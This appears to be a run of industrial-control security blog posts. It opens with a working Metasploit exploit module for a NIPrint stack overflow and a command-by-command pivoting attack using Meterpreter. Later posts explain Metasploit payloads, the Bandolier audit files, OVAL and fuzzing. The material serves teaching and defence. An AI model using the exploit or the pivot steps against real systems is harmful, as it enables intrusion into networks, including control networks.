A couple weeks ago I rewrote a vulnerability for Metasploit that I originally wrote for CANVAS. The exploit is for a network printer application called NIPrint. It is a pretty basic stack overflow vulnerability and the language to the exploit is fairly straight forward.

The key parts, from a Metasploit user’s prospective, is the Target section and the options section. A user will need to select the host ip and the port, if the port is not the default, and the target operating system, the default target default is Windows 2000. The top portion of the code sets up the options while the lower section performs the actual exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

require 'msf/core'
class Metasploit3 <  Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    def initialize(info =  {})
        super(update_info(info,
          'Name' => 'NIPrint stack overflow',
          'Description' => %q{
            This module exploits a stack overflow in
            NIPrint  server.
            },
          'Author' =>  [ 'Charles Perine' ],
          'Version' =>  '$Revision: 9999 $',
          'DefaultOptions' =>  {
            'EXITFUNC' => 'process',
          },
          'Payload'         =>
          {
            'Space'    => 1000,
            'BadChars'  => "\x00\x0a\x0d\x25\x26\x3f",
          },
          'Platform'        => 'win',
          'Targets'        =>
          [
            ['Win2k  SP4 Eng', { 'Ret' => 0x7C2EE9BB } ],
            ['WinXP  SP3 Eng', { 'Ret' => 0x77DF9697 } ],
          ],
          'DefaultTarget'  => 0,
          'Privileged'      => false
        ))
       register_options( [  Opt::RPORT(515) ], self.class)
    end
 
    def exploit
        connect
        noppersled1  = make_nops(47)
        jmpcode = "\xeb\x10"
        noppersled2  = make_nops(20)
        eip = [target.ret].pack('V')
        sploit  = noppersled1 + jmpcode + eip + noppersled2 + payload.encoded
        sock.put(sploit)
        handler
        disconnect
    end
end

What follows is a run through of a hack detailing some of the subjects I covered in this and my previous Metasploit entries. My attack machine is on the same subnet, 192.168.76.0/24, as a Windows XP system with a vulnerable FTP server at 192.168.76.136. The FTP server is connected to another subnet, 10.0.0.0/24, with a machine running Windows 2000, 10.0.0.1, and the NIPrint application. In this example I will not show system scanning, using a tool like Nessus, simply exploitation.

First I ran the exploit against the FTP server.

Once connected, I check to see what other networks the FTP server is connected to. We see that the it is connected to the 10.0.0.0/24 network. To perform the pivot, I simply add the a network route for the Meterpreter session, session 1. Next I ran an enumeration script to see what other systems were available.

From the scan, I can see the 10.0.0.1 system is available. While I know that the system second system is running the NIPrint server, an attacker would use other reconnaissance tools, or simply monitor the network, to determine a system on the network is running the NIPrint application.

Now I run the exploit against the second system and we can see it’s routing tables are different from the first system.

Here is a list of commands I used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

use windows/ftp/easyftp_cwd_fixret
set PAYLOAD  windows/meterpreter/bind_tcp
set RHOST 192.168.76.136
show options
exploit
 
route
 
background
 
route add 10.0.0.0  255.255.255.0 1
 
sessions  -i 1
 
run netenum -ps -r  10.0.0.0/16
 
background
 
use  windows/misc/myniprint
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.0.1
show options
exploit
 
route

Many of the sites we visit have a common setup using an RDP station sitting on the DMZ in between the corporate network and control network. That system can typically RDP to one other system in the control network. Once on the control network, there is very little access control to all of the systems. Using a similar methodology to the one described above, an attacker could work his way to the RDP stations then into the control network.

There are two aspects to Metasploit that I would like to cover today. The first is pivoting, a topic I mentioned in a previous post, and the second is the way a user interfaces with Metasploit. Pivoting allows an attacker to use a compromised system to attack other systems on the same network. For example, an attacker compromises a web server on a corporate network, the attacker can then use the compromised web server to attack other systems on the network.

Pivoting is a powerful tool that allows Metasploit to penetrate deep into a network. Core Security’s Core Impact and Immunity Inc.’s CANVAS have this feature as well. The Metasploit version of pivoting is not quite as clean as Core Impact but for the price, free, it works well enough. Of all of the payloads included in Metasploit, the only one which supports pivoting in Metasploit is the Meterpreter.

Metasploit has a few interfaces which can be used when attacking a system. The Metasploit framework provides a web interface, a GUI, the msfconsole and the msfcli. For those who are new to Metasploit, the web interface is the simplest way to get comfortable with the layout.

• The web interface, shown below, is fairly easy to use. The attacker loads the interface on his machine. He then searches for the appropriate exploit, payload and options. Once the attack is launched, the built-in console can be used to interact with the compromised host.

• The Metasploit GUI, shown below, is similar in function to the web interface, though less polished. The attacker can search for and select an exploit, chose a payload, set the option and run the exploit without much knowledge of the underlying commands necessary to run Metasploit. The current GUI is no longer supported but there is a new GUI provided with Metasploit Express which is a product sold by Rapid7.

• The msfconsole is a very powerful interface to Metasploit and it is the most often used interface. Typically an attacker will use the basic options, selecting an exploit, a payload and the options. There are many other commands that can be run from the msfconsole but they are beyond the scope of this article.

• The msfcli is run from the command line. The attacker sets all arguments on the command line and executes the command. A shell, Meterpreter shell or VNC window will spawn after the exploit has been performed.

In my next installment, I’ll show an exploit I wrote for an application and how it can be leveraged in an attack.

Yesterday I introduced the exploit module portion of Metasploit. In this installment of Metasploit Basics I will discuss the payload modules included in Metasploit.

The payload modules contain shellcode which can perform a number of interesting tasks depending on which payload is selected. There are seven main payload types available for Metasploit. These include VNC injection, file execution, an interactive shell, command execution, DLL injection, adding a user and the Meterpreter. Not all payloads types are available for every operating system. The table below shows which payload types are compatible with the different operating systems / operating environments.

• The add user payload is fairly straight forward. It simply adds a new user to the system being targeted. Once the new user is created, the attacker can simply log into the system remotely using any of the remote login services running on the target system. On a Linux system, the new user is given root privileges. The user added on a Windows system will be put in the Administrators group.

• The command execution payload will execute a command on the target system. This allows an attacker to perform any command on the attack system that does not require user interaction. This payload would be most beneficial on *nix based systems, where the command line is powerful. A number of commands can be strung together to produce multiple actions.

• DLL injection adds a custom DLL into the memory of the exploited application on the target system. This allows an attacker to add their own code to the code they just exploited. The DLL injection technique is used in the VNC injection payload described below.

• The interactive shell payload provides the attacker with a shell on the target system. The attacker can send commands to the target as if they were sitting in front of the system. For *nix based systems, this payload is extremely useful as it provides a full access to the system.

• The file execution payload simply uploads a file to the system then executes the uploaded file. A backdoor or rootkit can be sent to the system giving an attacker full access to the system.

• The Meterpreter payload is a Swiss army knife shell interface. It can change process IDs, set itself to be persistent on reboot, grab snapshots, obtain credentials, log keys, pivot and a number of other features. The Meterpreter is a very powerful tool.

• The VNC Injection payload sends a tiny VNC server to the Windows system and then connects to the VNC server. This provides full GUI interaction with the target system. The drawback to this payload is that anything you do on the system can be seen by a user if it is being used.

Since the payloads have already been created, an exploit writer simply needs to create the initial portion of the exploit, reducing the amount of work necessary to create a working exploit. With some of the exploits, due to payload size restrictions, not all payloads will work against a target. The payloads included in Metasploit provide an attacker with a great deal of control over the target system.

In my next post, I will discuss using Metasploit to pivot.

We often hear about Metasploit being used for attacks or exploits being developed for it but some may only have a general idea of the power of Metasploit. This set of articles is intended to to provide to the layman, who has never and may never run Metasploit, an understanding of what the tool is and how it is used.

An exploit is comprised of a few parts. It contains the exploit in the application being attacked which may be a stack overflow, a heap overflow, a string format attack, etc. and a payload which may be a remote shell or the addition of a user on the system being exploited. There are other parts to the exploit which are more advanced and are not necessary for this post. If you wish to find out more about exploits, there is plenty of information on the Internet which covers all aspects of exploit writing.

Metasploit is an exploit framework. It was intended to make the development of exploits easier. It is comprised of many modules and is broken down into the following categories: exploits, payloads, axillary. The exploit modules are developed by the Metasploit team and a large number of exploit writers. Metasploit separates the application exploit from the payload which decreases the amount of work needed to develop a full working exploit.

When a user downloads and installs Metasploit on their system, a number of exploit modules are included. These exploit modules are broken down by operating systems, then by application types, then the application exploits. A user can also download exploits developed by others for Metasploit, install them and then run them just like the exploits that come pre-installed.

Milw0rm formally contained a large number of exploits that could be dropped into Metasploit. A new resource, exploit-db.com, hosted by the folks at Offensive Security, seems to be the best resource for these exploits. There are a few ICS exploits available on exploit-db.com site, these exploits include GE Fanuc, GE Proficy, Iconics, Wonderware Suitelink and Citect.

In my next post, I will discuss the payloads available for Metasploit.

On Tuesday Rapid7 released a new version of Metasploit. The newest release of Metasploit, version 3.4.0, added over 100 new exploit modules and over 40 new axillary modules from the 3.3 release, bringing the totals up to 551 and 261, respectively. Metasploit 3.4.0 now uses TightVNC for the VNC injection. It can now import scan files from NeXpose, Nessus, QualysGuard, and Nmap. Metasploit has improved or added support for brute forcing telnet, ssh, mysql, postgres, SMB and DB2.

Metasploit’s agent, the meterpreter, has a few important additions including bidirectional tcp and udp pivoting, the use of SSL3 and automatic routing. The automatic routing and bidirectional tcp and udp pivoting improve the attackers ability to launch attacks from a compromised machine. The addition of SSL3 provides a secure method of communicating with the compromised host.

In October of 2009 Rapid7, the company that created the NeXpose vulnerability scanner, purchased Metaploit from HD Moore. Metasploit 3.3.1 included a module to integrate NeXpose scan results. The module allows a user to scan and exploit in only a few steps. While the integration makes it easier to find vulnerabilities and exploit them, it also lowers the bar regarding the amount of knowledge an attacker must have in order to compromise a system. This means it is far easier for a script kiddie to scan and exploit a system. I have yet to use NeXpose but I will be playing with it and the Metasploit integration.

The day after the release of Metasploit 3.4.0, Rapid7 released Metasploitable. This is a virtual machine that contains a large number of vulnerable applications which can be tested with Metasploit. Another option for practicing with Metasploit is Damn Vulnerable Linux.

Optimal security configuration is a term we often use to describe what is measured by the Bandolier security audit files. One definition for optimal, according to my dictionary, is “most desirable”. Yes, I just busted out the clichéd dictionary definition. But I think it’s useful here because it helps get to this question: what is a desirable security configuration from an asset owner perspective?

Before we dive in and answer that question, let’s be clear on the what we mean by security configuration. We are talking about server and workstation level settings, that until fairly recently, were often installed in an “open by default” instead of a “secure by default” manner in control systems. Here are some examples of “open by default”: running services that are not needed, default accounts and passwords, wide-open operating system and application permissions, and poorly configured supporting applications such as web servers and database servers. This is the type of security configuration audited by Bandolier. So back to our question, what is a desirable security configuration? Here is my take…

Security configuration that allows the application to function
Anyone out there who has dropped an IT security best practices template onto a control system server knows what I’m talking about. Stuff breaks. This has been a problem and is part of what perpetuated the “open by default” practice for so long. It’s a pain to work through all the settings and dial back only what needs to be to allow the application to function. But that is exactly what we do with Bandolier. We start with industry guidelines like those from the NIST SCAP program, and then customize it to each SCADA or DCS server/workstation component.

Security configuration that is supported by the vendor
Asset owners depend heavily on their control system application vendors. Contractually and practically, the owners are often hesitant to make any change without explicit vendor approval. The reality is that if you didn’t spec your system and verify that security was included at FAT and SAT, it is very difficult to change. So there are two issues here — old systems and new systems. We have to stop the bleeding and address the new systems leaving the test floor. Bandolier is helping do that. Vendors are supporting the secure configuration defined in the audit files, distributing the audit files to their customers, and even using Bandolier for their own FAT and SAT processes. For older systems, it depends. We have seen some cases where, with minor version differences, the majority of settings apply but it only goes so far. We are not making security audit files for Windows 98 and NT, for example, or an application version that is just broken from a security standpoint. If it can be secured, we want to help audit that. If not, it’s not a candidate for Bandolier.

Security configuration that is customizable for local requirements
Even with a security configuration that is designed to work with the control system application and is supported by the vendor, there are often local requirements or policies that need to be adjusted. The simple example I often use is password policy that tends to differ from company to company. What if you have additional software installed on your control system servers for backup or monitoring that requires additional services? These are reasons you may want to customize the audit files. Dale covered this in a recent post. The simple Nessus .audit language used by the Bandolier audit files makes this type of customization possible.

Security configuration that goes beyond the operating system
OS security settings have to be addressed but what about database servers, web servers, and the control system applications themselves? Poor configuration at the application level can leave a server open for attack as much or more so than at the OS level. Bandolier addresses configuration and audits at this level as well. In some cases, like the OSIsoft PI Server, the vendors help us tap deeply into the application using tools and scripts that would not normally be available. The result is a thorough view of the application security configuration that was not previously possible.

Digital Bond works closely with control system application vendors to define these security settings that make up an optimal security configuration. For a typical SCADA or DCS, the settings and audit checks can number in the hundreds or thousands. We test the configuration and audit files in the vendors’ labs to ensure we are reaching the goal of an optimal security configuration. A special thanks to the vendors that are participating and making this possible. Bandolier, in conjunction with the Nessus credentialed scanning, is quickly becoming the most widely used control system security assessment tool. This would not be the case without the application vendors stepping up to participate in the process.

Nessus was an obvious choice when we set out to build the Bandolier Security Audit Files. First, it is one of the most popular security tools available and is the de facto standard for vulnerability scanners. The compliance plugins work perfectly for the goal of Bandolier – measure the optimal security configuration for SCADA and DCS applications at both the OS and application levels. Finally, Nessus requires no client or agent installation on the control systems. Having to install additional software on the control system servers and workstations would be a non-starter for many. It appears we made the right choice – Bandolier, in conjunction with the Nessus policy compliance plugins, is quickly becoming the most widely used security tool in the control system IT space.

However there are other scanners in use, and we want to make Bandolier available to as many organizations as possible. The original DoE project scope included a commitment to deliver the application-level files in an open language. The technical “checks” we do with Bandolier in the Nessus .audit language are most similar to the “tests” done in OVAL (Open Vulnerability and Assessment Language) so we chose that language.

We learned some interesting things in the OVAL conversion process. First, the OVAL XML can be quite complex. A single check that takes 4-5 lines of .audit language might take 100+ lines in the OVAL XML expression of the same check. One of the things we like to tout about Bandolier is the audit files are easily editable by an asset owner to customize for their local security requirements. I’m not sure we can make the same claim about the OVAL versions.

The second thing we are discovering is this: security tools that say they support OVAL are not truly taking raw OVAL as input. At least in the cases we’ve seen, they are doing their own conversion or transform process. We are still exploring this issue and I suspect (and hope) this blog post and release may generate some feedback.

So, now that we’ve set the context, I’m happy to announce that you can find the OVAL versions of the application-level Bandolier audit files here. The OVAL files audit the same exact settings as their .audit counterpart but may do so in a different way depending on what tool you are using. For our testing, we used MITRE’s OVAL Interpreter (OVALDI) in a lab environment. We consider this an alpha release until we are able to better confirm some use cases with specific scanners.

We appreciate any feedback you have about the Bandolier OVAL expressions. If you have a security tool that you’ve been wishing you could use for Bandolier or if you are able to make the files work with another scanner, please leave a comment or drop us a note.

Fuzzing is growing up.  From the academics of the late 80s throwing random data at unix command line tools, to the early work by researchers and commercial groups in the last 90s and early 2000s, to the explosion of fuzzing topics at conferences around the world about 5 years ago its come a long way.

As a general rule fuzzers have gotten smarter as time has gone by. Either in the knowledge it has of whatever is being fuzzed (protocol, file format, etc) or in the technique that the fuzzer uses to generate test cases, and sometimes both. And both of these approaches are trying to solve the same problem and come out on the happy side of the code coverage vs time/resource equation, after all there is no sense spending days worth of cycles sending packets with bad checksums if that’s the first thing checked by the application.  We’ve seen some good ways of dealing with this, some modeling fuzzing as graph traversal, others using compression techniques to find similar data and data boundaries and fuzzing those values (http://lzfuzz.cs.dartmouth.edu/), and quite a few others ways of sending the most valid invalid information possible to the target.

One of the approaches getting a little more attention (though the technique itself goes back a few years) is Microsofts SAGE project.  Supposedly the project has led to numerous critical vulnerabilities found in various MS products.  The approach is what they call white box fuzzing, where a fair amount of analysis of the target is performed along with the fuzzing being done.  The technique itself is simple to understand.  The program is fun with a seed fuzz, and through binary analysis gather constraints on that input (such as checking whether a given input is a printable character, a newline, a number within a specific range), etc, and generate the next round of fuzzed data based on those criteria.  Of course there are a lot of difficult problems to solve to make this work in the real world, but that’s the high level overview of it. It also does some interesting things to figure out which crashes are unique and which ones are just duplicates of other crashes. An important feature if you’re running this 24/7 against a boatload of products, or if you’re a small group tasked with all testing at a vendor.  Combine this with some of the other tools like the !exploitable extension to windbg (and their internal tools that I’d guess are probably a couple of generations ahead of what’s released) to help sort out crashes from (likely) exploitable vulns and they’ve created quite a package.

I’ve sat through quite a few presentations from researchers in academia talking about applying generational/mutation based approaches to testing, with lots of models and math of why it should work, but not a whole lot to show for it on the results side, so its interesting to see some of this theoretical work being put to test, and returning good results, in the real world. Also interesting is that similar research has been done, and I’d assume continues, using many of the same techniques to automate exploit creation.

Of course the need for fuzzers, either smart or dumb, in scada systems isn’t too necessary when often times an nmap or nessus scan does the job just fine.  And sometimes the target is user friendly enough to give you the details on how to exploit it anyways.

A few thoughts after the intelligent comments, additional info, sound and fury:

• Microsoft is in the very rare top tier of companies spending time and money on security. In gross $ and time probably number 1 and very high on a percentage of security to software development time. They are also among the most attacked. So the information they provide on fuzz testing effectiveness and other parts of the SDL is an important data point.
• Microsoft’s approach with white box testing and their SAGE tool is useful info for the right people in a vendor’s development team. Again, Daniel will blog on this next week.
• In case I didn’t emphasize it enough, one of Matt’s important points was, “One of my conclusions (which I was pleased to hear echoed in the Microsoft talk) is that no single tool is best, no single approach is adequate–and that there are different types of fuzzing users that will require different feature sets.” Read his full blog entry on this that includes a challenge to a young researcher to do a fuzzer bake-off project rather than develop another fuzzer.
• I would really like to see a bake-off of fuzz testing solutions.
• I buried the lead and put the most important point last, vendor’s need to be fuzz testing their products. So whether it is Mu, Wurldtech, a collage of open source, or home grown tool is still not the most important issue in the control system community, unfortunately. Many more vendors have added fuzz testing to the SDL than five years ago so the trend is positive, and the fuzz testing solution vendors have helped this happen. Hopefully ISCI will help even more. Asset owner’s should be asking for the SDL of their vendors. If it is not readily available, yellow or perhaps red flag. If it can not be explained consistently, red flag. If it does not include fuzz testing, red flag. As has been pointed out in almost every presentation, even those that were not fans of my post, dumb fuzz testing finds exploitable vulns in many products that have not been fuzzed by the vendor.

Some vendors have reached out to provide more information on their approach, and I’ll have our offensive security guys follow up on this.

Read Best Way to Fuzz Part 1 and comments

There was an interesting discussion and information on what is the “best way from an ROI measure” to fuzz test at the CERT sponsored Vulnerablity Disclosure Workshop in DC this week. It led to some tweets back and forth between Digital Bond alumni Matt Franz and myself. First some background:

Fuzz testing is used by vendors, I hope, to look for common coding errors that can lead to vulnerabilities, such as buffer overflows. Consultants, researchers and hackers of all hat colors use fuzzing to look for exploitable vulnerabilities. Steve Lipner of Microsoft and co-author of the Security Development Lifecycle [SDL] said in his 2008 S4 keynote that fuzz testing and threat modeling proved to be the most effective ways to reduce exploitable vulnerabilities. Asset owner should be asking their vendors in RFP’s and User Group Meetings to explain their SDL and insure fuzz testing is part of it.

We have two security vendors that are trying to sell products to the control system market: Wurldtech with their Achilles platform and Mu Dynamics with their Mu Test Suite. [FD: Wurldtech is a past Digital Bond client and advertiser] One of the features of these products is they both send a large number of malformed packets at an interface – - typically crashing protocol stacks that have ignored negative testing.

While this greatly simplifies the issue, the two vendors have taken different approaches on how to create those negative packets. Wurldtech touts the use of a structured grammar to create the malformed packets, and MU takes more of an expert systems approach where there security engineers determine what would be the most effective malformed packets to send. There is certainly some overlap between the two approaches, but the question has always been what is more effective at identifying protocol stack errors.

So with that as background, Matt’s tweet “At CERT vuln discovery workshop. Interesting MSFT says grammar based fuzzing has lower ROI than dumb fuzzing” caught my attention. Matt was kind of enough to expand on his summary in an email:

The consensus of the talks was that you can’t rely on a single tool or technique but the ROI was higher for dumb “mutation based” fuzzers and white box approaches like SAGE than the time and effort to develop grammar based approaches, model the target, etc.

The direct comment was they still used “smart fuzzers” for highly critical code, Office, IE but that it wasn’t practical for other platforms like Exchange due to the way that it would hold up development and release cycles. Even/Especially in MSFT and CSCO devtest resources are precious and finite. Relatively poorly skill devtesters were able to achieve good enough results.

So if you are a vendor, or even an asset owner, starting from scratch you will have a low ROI on developing a grammar based fuzzer. But what if the grammar based solution already exists, such as in the case of Achilles, and you can buy it? This makes the ROI decision more interesting because you could compare the Achilles and the Mu Test Suite head to head and take into account any cost differences. So actually the question still remains if you are looking to purchase a control system fuzzer.

In a future blog post we will have Daniel cover Microsoft’s fuzzing efforts in the form of their SAGE tool which does “white box fuzzing” using symbolic execution and negative constraints. SAGE is still an internal Microsoft tool, but the approach is public.